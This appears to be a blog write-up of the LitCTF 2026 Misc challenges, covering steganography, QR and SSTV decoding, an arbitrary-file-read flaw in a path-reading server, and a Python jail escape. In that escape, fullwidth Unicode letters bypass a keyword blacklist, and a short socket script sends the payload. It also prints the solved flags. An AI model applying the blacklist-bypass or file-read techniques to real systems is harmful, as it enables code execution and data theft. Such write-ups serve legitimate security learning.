2026 LitCTF
2026-08-22 20:05:38

LitCTF 2026 Misc

📎 相关:
| 1.图片隐写
| 2.音视频隐写

lit_lsb_base64

LitCTF2026-01

TGl0Q1RGe2xzYl8xc19mdW5fdzF0aF9iNHMzXzY0fQ==

LitCTF{lsb_1s_fun_w1th_b4s3_64}

lit_rush_qr

把 gif 每一帧导成 png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from __future__ import annotations

import argparse
from pathlib import Path

from PIL import Image, ImageSequence


def extract_frames(gif_path: Path, output_dir: Path, prefix: str) -> int:
with Image.open(gif_path) as img:
frame_count = getattr(img, "n_frames", 1)
pad_width = max(2, len(str(frame_count - 1)))

output_dir.mkdir(parents=True, exist_ok=True)

for index, frame in enumerate(ImageSequence.Iterator(img)):
output_path = output_dir / f"{prefix}_{index:0{pad_width}d}.png"
frame.convert("RGBA").save(output_path)

return frame_count


def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description="Extract every frame from a GIF file into PNG images."
)
parser.add_argument("gif", type=Path, help="Path to the input GIF file")
parser.add_argument(
"-o",
"--output",
type=Path,
help="Directory to store the PNG frames (default: <gif_name>_frames)",
)
parser.add_argument(
"-p",
"--prefix",
default="frame",
help="Filename prefix for exported PNG files (default: frame)",
)
return parser


def main() -> None:
parser = build_parser()
args = parser.parse_args()

gif_path = args.gif.expanduser().resolve()
if not gif_path.is_file():
parser.error(f"GIF file not found: {gif_path}")

output_dir = args.output or gif_path.with_name(f"{gif_path.stem}_frames")
output_dir = output_dir.expanduser().resolve()

frame_count = extract_frames(gif_path, output_dir, args.prefix)
print(f"Extracted {frame_count} frame(s) to: {output_dir}")


if __name__ == "__main__":
main()

LitCTF2026-02

LitCTF2026-03

加个标志位

LitCTF2026-04

LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}

lit_welcome

LitCTF2026-05

LitCTF{w3lc0m3_t0_m1sc_w0rld}

lit_sstv

LitCTF2026-06

Martin-1 SSTV 获得

LitCTF{sstv_p4t13nc3}

lit_pyjail_reader

服务端主要逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
alphabet = string.ascii_uppercase
# python自带的字符串:A-Z
challenge = "".join(secrets.choice(alphabet) for _ in range(8))
# 随机选字符8次并拼接 secret比random更安全
conn.sendall(
f"Please enter the reverse of '{challenge}' to continue: ".encode()
)
# 把要求倒序的指令发给客户端
ans = recv_line(conn)
if ans != challenge[::-1]:
conn.sendall(b"Wrong reverse string. Bye.\n")
return

conn.sendall(
b"Good.\n"
b"Step 1: read /app/where_is_flag.txt (it contains the flag path).\n"
b"Step 2: read that path.\n"
  1. 服务端随机生成 8 位大写字母验证码
  2. 要求你输入这个字符串的倒序
  3. 验证通过后,提示你分两次输入文件路径
  4. 第一次要求你读 /app/where_is_flag.txt
  5. 第二次要求你读上一步文件里给出的真实 flag 路径

漏洞点

1
2
3
4
5
6
def safe_read(path: str) -> str:
p = path.strip()
if not p or p.startswith("-") or "\x00" in p:
raise ValueError("invalid path")
with open(p, "r", errors="replace") as f:
return f.read(MAX_FILE)

safe_read函数只检查了

  • 路径不能为空
  • 路径不能以-开头
  • 路径里不能有空字节\x00

只是做了一些形式限制 并没有真正安全

没有限制固定路径 没有白名单 没有检查路径越界 没有禁止读取/flag

漏洞点是任意文件读取(只要文件存在 当前进程有权读 就可直接读)

这题不是典型的 pyjail(注入 python 代码/eval/逃逸沙箱)不需要输入 python 表达式 也没有常见的危险点

实际上是服务端把用户输入当成文件路径,直接丢给 open() 读取,但没有限制读取范围。相当于是一个代码审计题。

漏洞点:任意文件读取

按照要求做就好了

LitCTF2026-07

flag{jek8lbip-pkjd-4hj-8kcs-s8quxdjfqobat}

lit_pyjail_unicode

1
2
3
4
5
6
luxlu@C:\Users\hp>ncat challenge.cyclens.tech 31644
=== LitCTF pyjail unicode ===
Send ONE line of Python. It will be eval() with full __builtins__.
ASCII blacklist applies to your *source text* (see attachment jail.py).
Goal: read /flag and get its str content.
>

只让发一行 python 代码。服务器会拿这行代码去 eval()。有一个 ASCII 黑名单检查源码文件。

目标是读取/flag

想法是

1
open("/flag").read()

但是会被拦 因为里面有open

试在不直接写open情况下调用open

1
2
3
4
5
6
7
8
9
10
11
# 仅检查「你键入的文本」:ASCII 关键字用词边界,避免匹配到 important 等
BANNED = re.compile(
r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"
r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"
r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",
re.IGNORECASE,
)
def banned(raw: str) -> bool:
if "\\u" in raw or "\\U" in raw or "\\x" in raw:
return True
return BANNED.search(raw) is not None

ban 掉了一些关键字 还专门拦了 Unicode 转义写法

黑名单检查的是输入的原始字符串 不是 python 解释器最后识别的的名字

python 对标识符会做 Unicode 正规化(NFKC)

也就是说 有些看上去不是普通英文的字符 python 会把它们折叠成普通英文再使用

试用全角字母 在 python 解释器里会被当作普通的字符 而且不会被正则匹配到 绕过逻辑就是用全角字符骗过黑名单 让 python 自动把全角名字变回 ASCII 名字 最终成功调用危险函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

host = "challenge.cyclens.tech"
port = 31644

s = socket.create_connection((host, port))

banner = s.recv(4096).decode("utf-8", "replace")
print(banner)

fw_open = "".join(map(chr, [0xFF4F, 0xFF50, 0xFF45, 0xFF4E])) # open
fw_read = "".join(map(chr, [0xFF52, 0xFF45, 0xFF41, 0xFF44])) # read

payload = f'{fw_open}("/flag").{fw_read}()' + "\n"
print("payload =", repr(payload))

s.sendall(payload.encode("utf-8"))

resp = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk

print(resp.decode("utf-8", "replace"))
s.close()

LitCTF2026-08

flag{ffwy92ey-fmsn-4mh-8bh2-czfntsrviz4ux}

上一页
2026-08-22 20:05:38
下一页